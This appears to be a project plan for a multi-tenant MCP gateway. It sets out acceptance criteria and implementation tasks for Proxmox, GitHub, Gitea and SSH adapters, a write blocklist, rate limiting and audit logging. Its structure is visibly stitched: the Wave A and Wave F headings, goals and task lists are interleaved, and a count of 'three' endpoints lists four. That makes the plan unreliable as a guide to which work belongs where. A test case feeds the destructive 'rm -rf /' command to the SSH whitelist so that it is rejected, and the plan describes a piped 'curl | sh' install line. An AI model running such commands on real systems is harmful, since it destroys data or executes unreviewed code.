- [ ] **Given** Sam is signed in via WorkOS SSO (M1) as `admin`, **when** Sam navigates to Settings → Adapters and clicks "Add adapter", **then** the adapter type picker shows exactly 4 types (Proxmox, GitHub, Gitea, SSH).
|
||||
- [ ] **Given** Sam selects "Proxmox" and enters `host` + a `PVEAuditor` token, **when** Sam submits, **then** the broker validates the token (`GET /api2/json/version` + `GET /api2/json/nodes` succeed — R-002), `SecretProvider.put` stores the token, the `mcp_adapters` row is inserted under `withTenant` + RLS, `adapter.configured` is appended to `audit_log`, and the UI confirms save in <5s.
|
||||
- [ ] **Given** a Proxmox adapter is configured, **when** Sam clicks "Test connection", **then** the broker invokes `test_connection` through the closed tool registry, returns a structured pass/fail within 5s, and `adapter.test_connection.succeeded` (or `.failed`) is appended.
|
||||
- [ ] **Given** Sam submits a Proxmox token that fails `GET /api2/json/version` (invalid token), **when** the broker validates, **then** submission returns HTTP 422 with role-violation error and no config is persisted (REQ-025).
|
||||
- [ ] **Given** Sam submits a GitHub classic PAT (`ghp_...`), **when** the broker validates scope, **then** submission returns HTTP 422 "fine-grained PAT required" and no config is persisted (D-006).
|
||||
- [ ] **Given** Sam submits a GitHub fine-grained PAT (`github_pat_...`) that passes `GET /user`, **when** the broker validates, **then** the config is persisted with `validated=true` (implicit `metadata:read`); `actions:read` is validated per-invocation (R-004).
|
||||
- [ ] **Given** Sam submits a Gitea token for a Gitea ≥1.22 instance, **when** the broker calls `GET /api/v1/user/repos?limit=1` and it returns 403, **then** submission returns HTTP 422 "insufficient scope — `read:repository` required" (R-005).
|
||||
- [ ] **Given** Sam submits a Gitea token for a Gitea <1.22 instance, **when** the broker validates, **then** the token is accepted (any valid token) with the broker-side write-method blocklist as the security backstop.
|
||||
- [ ] **Given** Sam submits an SSH adapter config (hostname + Relay registration token), **when** the broker stores the token via `SecretProvider.put`, **then** the `mcp_adapters` row is persisted and `adapter.configured` is appended (REQ-026).
|
||||
|
||||
This Happy Path is the M1 demo recording required by the M1 review.
|
||||
**Test-Call capability invocation (Journey 2):**
|
||||
- [ ] **Given** a Proxmox adapter is configured and rate limits are not exceeded, **when** Sam invokes `proxmox.list_vms` (with `node` arg) via the Test-Call UI, **then** the broker mints a ULID correlation ID, returns `{correlationId, streamUrl}`, the UI opens an SSE stream, the adapter calls `GET /api2/json/nodes/{node}/qemu`, the stream emits `tool_result` events and terminates with `done`, and `adapter.capability_invoked` is appended with `correlation_id`.
|
||||
- [ ] **Given** `proxmox.list_vms` was invoked within the last 60 seconds, **when** Sam invokes it again, **then** the broker returns the cached result with a "cached Xs ago" staleness indicator in the UI (inventory TTL cache, LRU).
|
||||
- [ ] **Given** Sam invokes a non-`list_*` capability (e.g., `proxmox.get_node_metrics`), **when** the call completes, **then** the UI shows the fresh result with NO staleness indicator (live path).
|
||||
- [ ] **Given** Sam invokes `github.list_repos` via the Test-Call UI, **when** the adapter calls `GET /user/repos?per_page=100` (real GitHub PAT), **then** the normalized repo list streams back and the UI renders it.
|
||||
- [ ] **Given** Sam invokes `ssh.run_whitelisted_command` with `command: "uptime"`, **when** the broker validates (layer 1) and dispatches to the Relay Agent, **then** the agent's `CheckCommand` (layer 2) passes, `exec.Command("uptime")` runs (no shell), and the output streams back.
|
||||
|
||||
**Write rejection at broker (Edge 1, INV-7):**
|
||||
- [ ] **Given** a malicious payload attempts `proxmox.shutdown_vm` via `POST /api/mcp/invoke`, **when** the request reaches the broker, **then** the broker's write-method blocklist rejects with HTTP 403, `adapter.write_rejected` is appended, and the adapter is NEVER invoked (verified by test per adapter at the M2 gate).
|
||||
|
||||
**SSH whitelist violation (Edge 7, defense-in-depth):**
|
||||
- [ ] **Given** Sam attempts `ssh.run_whitelisted_command` with `command: "rm -rf /"`, **when** the broker validates (layer 1, 6-command subset), **then** the broker rejects with HTTP 403 + `adapter.write_rejected` (the command is not in the 6-command subset) — the Relay Agent is never reached. **And** the cross-layer test (R-003) asserts that IF the broker were bypassed, the Relay Agent `CheckCommand` (layer 2) would also reject.
|
||||
|
||||
**Multi-target disambiguation (Edge 3):**
|
||||
- [ ] **Given** a tenant has 2 Proxmox adapters configured (target_a, target_b), **when** Sam invokes `proxmox.list_vms` without selecting a `target_id`, **then** the broker returns HTTP 400 "target required" with a list of available targets, and the UI surfaces the target picker.
|
||||
|
||||
**Rate limit (Edge 5):**
|
||||
- [ ] **Given** Sam has exceeded 60 req/min (user bucket), **when** Sam invokes any capability, **then** the broker returns HTTP 429 with `Retry-After` header and no adapter call is made (REQ-019).
|
||||
- [ ] **Given** the tenant has exceeded 300 req/min (tenant bucket), **when** any user in that tenant invokes a capability, **then** the broker returns HTTP 429 with `Retry-After` and refunds the user token (fairness, D-M2-R007).
|
||||
|
||||
**SSE client disconnect (Edge 8):**
|
||||
- [ ] **Given** an SSE stream is open on `GET /api/mcp/stream/:correlationId` and the client disconnects mid-stream, **when** the broker detects the `EventSource` close (`req.signal` abort), **then** the in-flight adapter call is cancelled, the correlation context is deleted, and NO audit event is appended for the client-side cancellation (spec Edge 8).
|
||||
|
||||
**LLM smoke (M2 gate item 8, P0 — not deferrable):**
|
||||
- [ ] **Given** CI starts the control plane with `packages/llm-mock` as the BYOM endpoint and a real GitHub adapter (real PAT, test-org-scoped), **when** the smoke test sends `POST /v1/chat/completions` with `tools=[github.list_repos]` and prompt "List my GitHub repositories.", **then** llm-mock returns `tool_calls:[{function:{name:"github.list_repos", arguments:"{}"}}]`, the broker translates to MCP `tools/call`, routes to the GitHub adapter, the adapter calls `GET /user/repos` (real GitHub), the broker translates the result to an OpenAI tool message, llm-mock synthesizes a grounded response, and the test asserts the response contains real repo names from the CI test org.
|
||||
|
||||
---
|
||||
|
||||
## UX Acceptance Criteria (MVP/UX §3)
|
||||
|
||||
1. **SSO works in <3 clicks** from `/login` to `/dashboard` for a returning user (REQ-001).
|
||||
2. **BYOM validation feedback is synchronous** — the "Validate & Save" button shows a spinner and resolves in <10s with a green/red result (REQ-007).
|
||||
3. **Dashboard health badge turns green within 90s** of the Relay Agent's first heartbeat (REQ-013, REQ-014).
|
||||
4. **Install command is copy-pasteable** — the `/dashboard/relay` page shows one `curl -fsSL <url> | sh` line with the tenant token already embedded; no manual editing required (REQ-010).
|
||||
5. **RBAC is enforced on the very next API call** after a role change — the dashboard re-fetches and the new permissions apply immediately (REQ-004, REQ-005).
|
||||
6. **Cross-tenant isolation is verifiable** — the M1 pen-test script demonstrates zero leakage across two tenants (REQ-039).
|
||||
7. **Audit log is append-only** — a test that attempts `UPDATE`/`DELETE` on `audit_log` as the app role fails with a permission error (REQ-038).
|
||||
8. **Secrets are never in the DB** — a test that scans `byom_endpoints` and all tenant-scoped tables for plaintext credentials passes (returns zero matches); secrets are resolvable only via `SecretProvider.get` (REQ-040).
|
||||
9. **Unsupported OS aborts cleanly** — running the install script on an unsupported OS exits non-zero with an actionable message (REQ-010, Edge 16).
|
||||
Pass/fail criteria (all must pass for M2 ship):
|
||||
|
||||
- [ ] **Adapter config saves in <5s** with validation feedback (success or HTTP 422 role/scope-violation error inline).
|
||||
- [ ] **"Test connection" returns in <5s** with structured pass/fail; `adapter.test_connection.{succeeded,failed}` audit event appended.
|
||||
- [ ] **Test-Call SSE stream starts within 100ms** of `POST /api/mcp/invoke` returning `{correlationId, streamUrl}` (NFR: SSE chunk delivery <100ms).
|
||||
- [ ] **Staleness indicator** shows "cached Xs ago" for cached inventory (`list_*`) calls; no indicator for live calls.
|
||||
- [ ] **Write attempts rejected at broker with 403 before adapter invocation** (INV-7 — verified by a test per adapter at the M2 gate; the adapter is never invoked for write methods).
|
||||
- [ ] **SSH non-whitelist commands rejected at broker (layer 1) AND Relay Agent (layer 2)** (defense-in-depth, R-003 cross-layer test).
|
||||
- [ ] **Multi-target picker surfaces** when ≥2 same-type adapters are configured; submitting without `target_id` returns HTTP 400 "target required."
|
||||
- [ ] **Rate limit 429 with `Retry-After`** when user >60/min OR tenant >300/min; no adapter call made on 429.
|
||||
- [ ] **LLM smoke returns grounded response** with real repo names from the CI test org (P0 gate item 8 — not deferrable to M3).
|
||||
- [ ] **M1 non-regression:** all M1 tests still pass (gate item 1).
|
||||
- [ ] **Coverage ≥ 80%** on new M2 modules (`packages/mcp/**`, `packages/llm-mock`, adapter UI components) (gate item 3).
|
||||
|
||||
---
|
||||
|
||||
## Wave A — Foundations (Phase 1)
|
||||
## Wave F — MCP Gateway core (Phase 1)
|
||||
|
||||
**Goal:** Monorepo scaffold + Postgres schema with RLS + append-only hash-chain audit + SecretProvider interface + Trigger.dev bootstrap. No HTTP routes yet.
|
||||
**Depends on:** Phase 0.
|
||||
**REQs covered:** REQ-038, REQ-039, REQ-040.
|
||||
**Personas:** backend-engineer, data-engineer, security-engineer (sign-off).
|
||||
**Goal:** The MCP capability broker gateway: closed tool registry, adapter router, write-method blocklist enforcer (INV-7 at broker — the load-bearing safety boundary), token-bucket rate limiter, SSE stream manager, OpenAI↔MCP translator, in-process custom transport, synthetic MCP `initialize` handshake (R-001). `mcp_adapters` table with RLS. **No adapter implementations yet** (those are waves G/H/I) — Wave F ships the broker with stub adapters for testing.
|
||||
|
||||
**Depends on:** Phase 0, Wave 0.
|
||||
**REQs covered:** REQ-015, REQ-016, REQ-017, REQ-018, REQ-019, REQ-024.
|
||||
**Personas:** backend-engineer (broker modules), data-engineer (table + RLS), security-engineer (sign-off on write-method blocklist + INV-7 at broker).
|
||||
**Patch tag:** `v0.1.1`. **Branch:** `phase/01-mcp-gateway`.
|
||||
|
||||
### Tasks
|
||||
1. **Scaffold monorepo** (backend-engineer): pnpm workspace; `apps/control-plane` (Next.js App Router + TS), `apps/relay-agent` (Go module, empty for now), `apps/dashboard` (part of control-plane for M1), `packages/{db,auth,audit,secrets,config,runtime}`. `tsconfig.json` base + per-package extends. `package.json` scripts: `lint`, `typecheck`, `test` (vitest), `migrate`. `turbo.json` or pnpm `--filter` orchestration. `.gitignore` additions (`.secrets/`, `node_modules`, `dist`, `.next`).
|
||||
2. **Postgres schema + migrations** (data-engineer): `packages/db/migrations/0001_init.sql` — `tenants`, `users`, `tenant_memberships (user_id, tenant_id, role)`, `targets`, `byom_endpoints (tenant_id, url, secret_ref, validated)`, `invitations`, `audit_log (id BIGSERIAL, tenant_id, prev_hash, curr_hash, payload JSONB, created_at, user_id, target_id, correlation_id, event_type)`, `runtime_health (id BIGSERIAL, component, status, payload JSONB, created_at)` (NOT tenant-scoped; NOT an audit table — see G-002). All tenant-scoped tables carry `tenant_id UUID NOT NULL`.
|
||||
3. **RLS policies** (data-engineer + security-engineer): per-table policy `USING (tenant_id = current_setting('app.tenant_id')::uuid)`. `packages/db/rls.sql` run by the migrator. App role `coreci_app` with INSERT/SELECT only; `REVOKE UPDATE, DELETE ON audit_log FROM coreci_app`. `migrator` role with BYPASSRLS for migrations only.
|
||||
4. **`withTenant` helper** (data-engineer): `packages/db/withTenant.ts` — opens a transaction, `SET LOCAL app.tenant_id = $1`, runs the callback, commits. Throws if called outside a transaction. Unit test: a query outside `withTenant` returns zero tenant-scoped rows.
|
||||
5. **Audit writer** (backend-engineer + security-engineer): `packages/audit/writer.ts` — `append(event)` computes `curr_hash = sha256(prev_hash || canonical(payload))`, INSERTs inside the caller's transaction. Constraint trigger rejects a forged `prev_hash`. `AuditWriteHaltError` thrown on failure → caller's transaction rolls back. Unit test: append 3 entries, verify the chain; attempt UPDATE/DELETE → permission denied. **[G-006] Known M1-acceptable limit:** the per-tenant hash-chain serializes concurrent audit writes within one tenant (two simultaneous appends read the same `prev_hash`; the second INSERT fails the constraint and rolls back). Acceptable for M1 volume (onboarding + dashboard). **M3 mitigation:** `pg_advisory_xact_lock(hashtext(tenantId))` before the INSERT, or a per-tenant sequence for `prev_hash` ordering. Documented here so M3 is not a surprise.
|
||||
6. **`SecretProvider` interface + impls** (backend-engineer + security-engineer): `packages/secrets/provider.ts` (interface), `packages/secrets/aws-sm.ts` (`@aws-sdk/client-secrets-manager`), `packages/secrets/local-encrypted.ts` (AES-256-GCM, master key from `SECRET_MASTER_KEY_DEV`). `SecretValue` type with `[REDACTED]` toString. Unit tests for both impls.
|
||||
7. **Trigger.dev bootstrap** (backend-engineer): `packages/runtime/index.ts` — initializes the Trigger.dev client from config; registers a `runtimeHealthCheck` task that runs every 5 min and writes a row to `runtime_health` (NOT `audit_log` — see G-002; REQ-038's audit store is for business events only: prompts, tool calls, SSH commands, responses). No chat tasks. **[G-003] Pre-investment for M3:** shipping the runtime now means M3 chat orchestration plugs in without a runtime bootstrap rewrite; the 5-min health tick proves the runtime is wired without polluting the audit store.
|
||||
8. **Cross-tenant pen-test scaffold** (security-engineer): `tests/pen/cross-tenant.test.ts` — two tenants, attempt to read T2 as T1, assert zero rows. (Full pen test runs at M1 review.)
|
||||
9. **Tenant registration token contract** (backend-engineer + security-engineer): `packages/secrets/relay-token.ts` — defines the token issued by `POST /api/relay/issue-token` (Wave D Task 1) and consumed by the Go Relay Agent (Wave D Task 3). **[G-005] Contract (locked here so Wave B's auth middleware and Wave D's WS server + agent parallelize without blocking):** token is a signed JWT (HS256, key from `SECRET_MASTER_KEY_DEV` in dev / KMS-derived in prod — NOT a tenant secret, it's a platform bootstrap signing key in tier (a) of the credential taxonomy), claims `{tenantId, scope: "relay.register", iat, exp}`, lifetime 24h, refreshable. Stored as a `SecretRef` for re-issuance. The endpoint itself is built in Wave D; the contract + signing helper live here so neither wave blocks.
|
||||
|
||||
1. **`mcp_adapters` table + migration + RLS** (data-engineer)
|
||||
- Migration `packages/db/migrations/0002_mcp_adapters.sql`: `mcp_adapters (id uuid PK, tenant_id uuid, adapter_type text CHECK in (proxmox,ssh,github,gitea), target_id text, config jsonb, secret_ref text, validated boolean, created_at timestamptz, updated_at timestamptz)`. UNIQUE `(tenant_id, adapter_type, target_id)`. RLS policy: tenant-scoped SELECT/INSERT/UPDATE/DELETE with `WITH CHECK (tenant_id = current_setting('app.tenant_id')::uuid)`. `ALTER TABLE ... FORCE ROW LEVEL SECURITY`.
|
||||
- Verify against real Postgres 16 in CI (Wave 0 `DB_MODE=pg` job), not PGlite.
|
||||
|
||||
2. **`packages/mcp/registry.ts`** — closed 9-tool registry with JSON Schema inputSchemas (backend-engineer)
|
||||
- 9 tools (REQ-015 frozen set): `proxmox.list_vms` (inventory, `{node: string}`), `proxmox.get_vm_status` (live, `{node: string, vmid: integer}`), `proxmox.get_node_metrics` (live, `{node: string}`), `ssh.run_whitelisted_command` (live, `{command: string}`), `github.list_repos` (inventory, `{}`), `github.get_recent_ci_runs` (live, `{owner: string, repo: string, per_page?: integer, status?: string}`), `github.get_workflow_run` (live, `{owner: string, repo: string, run_id: integer}`), `gitea.list_repos` (inventory, `{}`), `gitea.get_recent_ci_runs` (live, `{owner: string, repo: string, limit?: integer}`).
|
||||
- Each tool: `{name, description, inputSchema}` (JSON Schema object with `type:"object"`). Export `MCP_PROTOCOL_VERSION = "2025-06-18"`.
|
||||
- Per-tenant policy: `disabledTools: Set<toolName>` — may disable individual tools but never add new ones (closed registry). Registry metadata `isInventory: boolean` is the cache authority (NOT MCP `annotations`, which are advisory/untrusted per R-001).
|
||||
- Argument validation: any tool call with args not matching `inputSchema` → HTTP 400 with schema-validation error (Edge 4) BEFORE adapter invocation.
|
||||
|
||||
3. **`packages/mcp/router.ts`** — adapter router (backend-engineer)
|
||||
- Resolves `(tenant_id, adapter_type, target_id)` tuples to adapter instances (REQ-016). Reads `mcp_adapters` under `withTenant` + RLS. Routing errors (unknown adapter, target offline) → HTTP 404 with structured error.
|
||||
- Multi-target scope disambiguation (REQ-024): if a tenant has ≥2 adapters of the same type and no `target_id` is provided, return HTTP 400 "target required" with a list of available targets (Edge 3).
|
||||
|
||||
4. **`packages/mcp/write-blocklist.ts`** — per-adapter write-method blocklist enforcer (security-engineer + backend-engineer) — **INV-7 BACKSTOP** [G-015, G-016]
|
||||
- **[G-015] Framing correction:** The closed 9-tool registry (REQ-015) is the PRIMARY INV-7 boundary — `proxmox.shutdown_vm` is not a tool and cannot be routed. The write-method blocklist is defense-in-depth against adapter bugs (an adapter mistakenly constructing a non-GET). Security review must audit BOTH the registry (closed enumeration) AND the blocklist (method reject). Document this framing in `PROTOCOL.md` and the module docstring.
|
||||
- **[G-016] Two enforcement models:** (a) **Method blocklist** (Proxmox/Gitea: pre-dispatch HTTP-method check — reject POST/PUT/DELETE/PATCH; REST-specific). (b) **Scope-via-403** (GitHub: runtime 403 + `X-Accepted-GitHub-Permissions` handling, per R-004 — NOT a pre-dispatch method check, because GitHub fine-grained PAT scopes are not introspectable). These are distinct mechanisms; do not conflate them.
|
||||
- **[G-016] Future risks documented in PROTOCOL.md:** "The method blocklist is REST-specific. A future GraphQL adapter (not in M2) needs a different enforcement model (operation allowlist, not HTTP method — GraphQL uses POST for both queries and mutations). PVE has some GET endpoints with side effects; the 3 M2 endpoints (`/nodes`, `/nodes/{node}/qemu`, `/nodes/{node}/qemu/{vmid}/status/current`, `/nodes/{node}/status`) are verified read-only. An endpoint allowlist (only permit specific paths) is the M3+ evolution if the tool set grows."
|
||||
- Per-adapter blocklist (spec §5): Proxmox POST/PUT/DELETE; SSH non-whitelist commands (6-command subset per REQ-021); GitHub scopes outside `metadata:read`+`actions:read` (validated per-invocation via 403 + `X-Accepted-GitHub-Permissions`); Gitea POST/PUT/DELETE/PATCH on all endpoints.
|
||||
- 100% of write attempts rejected at broker with HTTP 403 + `adapter.write_rejected` audit event; adapter NEVER invoked. **Verified by a test per adapter at the M2 gate.**
|
||||
- Order of enforcement (R-007): auth → tenant resolve → RBAC → **rate-limit check** → **write-method blocklist** → adapter resolve → invoke. Rate limit is the outermost gate; write-blocklist is the INV-7 gate.
|
||||
|
||||
5. **`packages/mcp/rate-limiter.ts`** — token-bucket, in-memory (backend-engineer)
|
||||
- Per user (capacity=60, refill=1/sec) AND per tenant (capacity=300, refill=5/sec). Both must pass (AND logic). Refund user token on tenant-fail (fairness, D-M2-R007). O(1) check <5ms (NFR).
|
||||
- `RateLimiter` interface `Promise`-returning now (M2 sync impl wrapped in Promise) so M3 can swap in `RedisRateLimiter` with no signature change (D-M2-R007). Redis migration path documented in code comments.
|
||||
- On reject: HTTP 429 + `Retry-After: <seconds>` header (RFC 7231). Body `{error:"rate_limited", retryAfterSec}`. **No adapter call made. Do NOT audit 429s** (not adapter events; could amplify a flood — log at warn level instead).
|
||||
|
||||
6. **`packages/mcp/stream-manager.ts`** — SSE stream manager (backend-engineer)
|
||||
- In-memory `Map<correlationId, CorrelationContext>`. Context: `{correlationId, tenantId, userId, adapterType, toolName, controller?, abortController, createdAt}`.
|
||||
- ULID correlation IDs (26-char, lexicographically sortable) minted at `POST /api/mcp/invoke` (add `ulid` npm dep to `packages/mcp`). SSE event format: `id: <ulid>-<seq>\nevent: tool_result\ndata: {"content":[...],"isError":false}\n\n`. Terminal events `done`/`error`.
|
||||
- **30s stream-not-opened timeout (R-006):** if `GET /api/mcp/stream/:correlationId` isn't called within 30s of `POST /invoke`, cancel the adapter call and delete the context. Plus 60s max-stream lifetime safety net.
|
||||
- Client disconnect (Edge 8): on `req.signal` abort, cancel in-flight adapter call (AbortController), delete context, **NO audit event for client-side cancellation.** Guard with a `closed` flag (abort may fire after normal close).
|
||||
- Backpressure: cap controller queue at 100 events; if exceeded, cancel with "client too slow."
|
||||
|
||||
7. **`packages/mcp/translator.ts`** — OpenAI↔MCP translation (backend-engineer)
|
||||
- `tool_calls[i].function.name` → `params.name`; `JSON.parse(tool_calls[i].function.arguments)` → `params.arguments` (parsed JSON object — **pitfall:** OpenAI sends `arguments` as a JSON string; MCP expects an object; handle parse failures as protocol errors, not tool execution errors).
|
||||
- MCP `result.content[].text + isError` → OpenAI tool message `{role:"tool", tool_call_id, content}`. `isError:false` → `content: result.content[0].text` (concatenate if multiple). `isError:true` → `content: "ERROR: " + result.content[0].text` (M2 convention; OpenAI has no native `isError`).
|
||||
|
||||
8. **`packages/mcp/transport/in-process.ts`** — in-process custom MCP transport with synthetic `initialize`/`initialized` handshake (R-001) (backend-engineer)
|
||||
- JSON-RPC 2.0 messages (`tools/list`, `tools/call`) passed in-process between broker and TS adapter modules (no wire serialization, but shape must match). D-007.
|
||||
- Synthetic lifecycle exchange at adapter registration (R-001 mitigation): broker → `{method:"initialize", params:{protocolVersion:"2025-06-18", capabilities:{tools:{listChanged:false}}}}`, adapter → `{capabilities:{tools:{}}}`. Cheap; produces clean conformance evidence.
|
||||
|
||||
9. **API routes** (backend-engineer + frontend-engineer for route handlers)
|
||||
- `GET /api/mcp/tools` — list tools (MCP `tools/list` facade; returns 9-tool closed set; per-tenant disabled tools filtered).
|
||||
- `POST /api/mcp/invoke` — invoke a capability; mints ULID, creates correlation context, kicks off adapter call async, returns `{correlationId, streamUrl}`. Order: auth → tenant → RBAC → rate-limit → write-blocklist → resolve → invoke.
|
||||
- `GET /api/mcp/stream/[correlationId]/route.ts` — SSE stream (`runtime = "nodejs"`, `dynamic = "force-dynamic"` per R-006). `Content-Type: text/event-stream`, `Cache-Control: no-cache`, `Connection: keep-alive`.
|
||||
- `POST /api/mcp/adapter` — configure an adapter (J1 Step 3). Validates role/scope at submit (REQ-025/026/027), `SecretProvider.put`, INSERT under `withTenant` + RLS, `adapter.configured` audit.
|
||||
- `PATCH/DELETE /api/mcp/adapter/:id` — update/remove adapter config.
|
||||
- All routes use M1 patterns: `requireAdmin`/`requireRead` auth guard (mirrors `apps/control-plane/app/api/byom/route.ts`), `withTenant`, `appendAudit`.
|
||||
|
||||
10. **Audit event types** (backend-engineer) [G-012]
|
||||
- **[G-012] M1-file edit (type widening, NOT "additive — no schema change" at the TS layer):** Extend `AuditEventType` in `packages/db/src/audit.ts` (M1 source file) with `adapter.configured | adapter.test_connection.succeeded | adapter.test_connection.failed | adapter.capability_invoked | adapter.write_rejected`. The DB column (`audit_log.event_type`) is `TEXT` with no CHECK constraint, so no DB migration. But `appendAudit(client, event: AuditEvent)` is typed to `event.eventType: AuditEventType` — passing the new types is a TS compile error without the union extension. This is a backward-compatible type widening (M1 tests still pass).
|
||||
- New event types: `adapter.configured`, `adapter.test_connection.succeeded`, `adapter.test_connection.failed`, `adapter.capability_invoked`, `adapter.write_rejected`. All hash-chained via M1 `appendAudit` (`packages/db/src/audit.ts`). Include `correlation_id` field for capability invocations.
|
||||
|
||||
11. **Multi-target scope disambiguation (REQ-024)** (backend-engineer)
|
||||
- Broker returns HTTP 400 "target required" with a list of available targets when ≥2 same-type adapters exist and no `target_id` is provided (Edge 3).
|
||||
|
||||
12. **MCP conformance verification artifact (R-001)** (backend-engineer + security-engineer) [G-017]
|
||||
- `tests/mcp-conformance/` (**7** tests, all must pass — gate item 15):
|
||||
1. `tools-list.test.ts` — `GET /api/mcp/tools` returns 9 tools with `{name, description, inputSchema}` matching REQ-015 exactly. Snapshot the full `tools/list` response.
|
||||
2. `tools-call-happy.test.ts` — mock adapter invocation returns MCP result shape `{content:[{type:"text",text}], isError:false}` via SSE.
|
||||
3. `tools-call-error.test.ts` — mock adapter `isError:true` returns MCP error shape via SSE `error` terminal event.
|
||||
4. `tools-call-invalid-args.test.ts` — args failing `inputSchema` → HTTP 400 schema-validation error (broker rejects before adapter).
|
||||
5. `translator.test.ts` — OpenAI `tool_calls` ↔ MCP `tools/call` bidirectional translation, including `arguments` string→object parse and `isError`→content prefix.
|
||||
6. `lifecycle.test.ts` — in-process custom transport synthetic `initialize`/`initialized` handshake preserves JSON-RPC 2.0 envelope.
|
||||
7. **[G-017] `stdio-interop.test.ts`** — connects to the broker via **stdio transport** (the real-transport path used by the LLM smoke), issues a real `tools/list` JSON-RPC request over stdin/stdout, asserts the response is a valid JSON-RPC 2.0 envelope with the 9 tools, then issues a `tools/call` for a mock adapter and asserts the result shape. **This is the test that proves an external MCP client can connect** — moves the lowest-confidence axis (0.80) to evidence-backed. Optionally: run the official MCP inspector against the broker as a CI step.
|
||||
- `packages/mcp/PROTOCOL.md` documenting: pinned spec version `2025-06-18` with links to the three spec pages (tools, transports, lifecycle); transports used (in-process custom, stdio for LLM smoke, REST facade + SSE for UI — NOT Streamable HTTP, compliant as custom transport); JSON-RPC 2.0 shapes preserved; OpenAI ↔ MCP translation contract; synthetic lifecycle handshake. **[G-015]** INV-7 framing (registry is primary, blocklist is backstop). **[G-016]** Two enforcement models + GraphQL/PVE-GET future risks.
|
||||
- `MCP_PROTOCOL_VERSION = "2025-06-18"` constant exported from `packages/mcp` and asserted in the conformance test header.
|
||||
|
||||
13. **Stub adapters for testing** (backend-engineer) [G-020]
|
||||
- **[G-020] `McpAdapter` interface** shipped in `packages/mcp/types.ts`: both in-process adapters (G/I) and the WebSocket-backed SSH adapter (H) implement this interface. The interface specifies: `tools/list() → Promise<Tool[]>`, `tools/call(name: string, args: Record<string, unknown>) → Promise<McpResult>`, and a registration mechanism. F's stubs implement it; G/H/I's real adapters implement it. The router (T3) accommodates both in-process module adapters and WebSocket-backed adapters (the SSH adapter wraps a WebSocket round-trip inside `tools/call`). **This makes F→G/H/I a contract handoff, not a code-reading exercise — enables real parallelism.**
|
||||
- Minimal mock adapters (one per type: proxmox, ssh, github, gitea) that the broker can route to, for testing the broker in isolation (waves G/H/I plug in real adapters). Each stub: registers via synthetic `initialize`, responds to `tools/list` with its tool subset, responds to `tools/call` with a canned `{content:[{type:"text",text:"stub"}], isError:false}` or `isError:true` for error tests. All stubs implement `McpAdapter`.
|
||||
|
||||
### Must-haves (verify before ship)
|
||||
- [ ] `pnpm typecheck` + `pnpm lint` + `pnpm test` green.
|
||||
- [ ] Migrations run clean against a fresh Postgres 16.
|
||||
- [ ] `withTenant` test: query outside wrapper returns zero tenant rows.
|
||||
- [ ] Audit chain test: 3 appends verify; UPDATE/DELETE rejected.
|
||||
- [ ] `SecretProvider` test: put/get round-trip for both impls; `toString()` returns `[REDACTED]`.
|
||||
- [ ] Cross-tenant pen-test scaffold compiles + runs (T1 sees zero T2 rows).
|
||||
- [ ] Trigger.dev health task writes a `runtime_health` row on a 5-min tick (NOT `audit_log`). [G-002]
|
||||
- [ ] `runtime_health` table is NOT tenant-scoped (no RLS); `audit_log` IS tenant-scoped.
|
||||
- [ ] Relay token contract: JWT signed, claims `{tenantId, scope: "relay.register"}`, 24h lifetime; signing helper + verify helper unit-tested. [G-005]
|
||||
- [ ] Audit concurrent-write limit documented in code comments (per-tenant serialization; M3 mitigation noted). [G-006]
|
||||
- [ ] Code coverage ≥ 80% on `packages/db`, `packages/audit`, `packages/secrets`, `packages/runtime`.
|
||||
|
||||
## Wave B — Identity & RBAC (Phase 2)
|
||||
|
||||
**Goal:** WorkOS SSO + session + tenant resolution + RBAC at the API gateway from the first endpoint. First HTTP routes.
|
||||
**Depends on:** Wave A (withTenant, audit). Wave B does NOT own the relay token-issuance endpoint (that's Wave D Task 1); the token contract is defined in Wave A Task 9 so B and D parallelize. [G-005]
|
||||
**REQs covered:** REQ-001, REQ-002, REQ-003, REQ-004, REQ-005.
|
||||
**Personas:** backend-engineer, frontend-engineer, security-engineer (sign-off).
|
||||
|
||||
### Tasks
|
||||
1. **WorkOS SSO route** (backend-engineer): `/api/auth/login` → WorkOS hosted SSO redirect; `/api/auth/callback` → code exchange → session. Session stored httpOnly cookie + `sessions` table row (tenant_id, user_id, role).
|
||||
2. **Tenant provisioning** (backend-engineer): on first signup, if the WorkOS `organizationId` has no tenant, INSERT tenant + tenant_membership(role=Admin) inside `withTenant`. Audit append (provision event).
|
||||
3. **Tenant resolution middleware** (backend-engineer): `packages/auth/middleware.ts` — reads cookie, loads session, `SET app.tenant_id` via `withTenant`, attaches `req.user = {id, tenantId, role}`.
|
||||
4. **RBAC enforcement** (backend-engineer + security-engineer): `packages/auth/rbac.ts` — role → route permission map (Admin: all; Operator: read + chat; Viewer: read). Applied at the API gateway. First protected endpoint: `GET /api/me` (returns user + tenant). Test: Viewer calling `POST /api/byom` → 403.
|
||||
5. **Invitations** (backend-engineer): `POST /api/invitations` (Admin only) → WorkOS invitation API → single-use link emailed. `POST /api/invitations/accept` → creates tenant_membership. Edge 15: bounce webhook → mark invalid.
|
||||
6. **Role assignment** (backend-engineer): `PATCH /api/team/<userId>` (Admin only) → updates `tenant_memberships.role`. Enforced on next API call.
|
||||
7. **Login + dashboard shell** (frontend-engineer): `/login` page (SSO button), `/dashboard` shell with the 5-step onboarding checklist (all grey — steps light up as later waves ship). `/dashboard/team` page (invite + role UI).
|
||||
|
||||
### Must-haves
|
||||
- [ ] SSO round-trip works (test with WorkOS sandbox).
|
||||
- [ ] First signup provisions tenant + Admin role; audit entry written.
|
||||
- [ ] RBAC: Viewer → 403 on Admin-only route; Operator → 200 on read.
|
||||
- [ ] Role change enforced on the next API call (test).
|
||||
- [ ] Invitation email sent (WorkOS); acceptance creates membership; bounce marks invalid.
|
||||
- [ ] Audit entry appended for every auth event (login, provision, invite, role change).
|
||||
- [ ] Coverage ≥ 80% on `packages/auth`.
|
||||
|
||||
## Wave C — BYOM (Phase 3)
|
||||
|
||||
**Goal:** BYOM endpoint registry + validate-on-save + routing shim (OpenAI-compatible). No chat/orchestration in M1 — the routing shim is a proxy contract + REQ-009 reject path.
|
||||
**Depends on:** Wave A (secrets, audit, withTenant), Wave B (RBAC).
|
||||
**REQs covered:** REQ-006, REQ-007, REQ-008, REQ-009.
|
||||
**Personas:** backend-engineer, frontend-engineer, security-engineer (sign-off).
|
||||
|
||||
### Tasks
|
||||
1. **BYOM endpoints table + routes** (backend-engineer): `POST /api/byom` (Admin only) — takes `{url, apiKey}`; `secrets.put(tenantId, "byom", apiKey)` → `secret_ref`; INSERT `byom_endpoints (url, secret_ref, validated=false)` under `withTenant`; audit append (config event).
|
||||
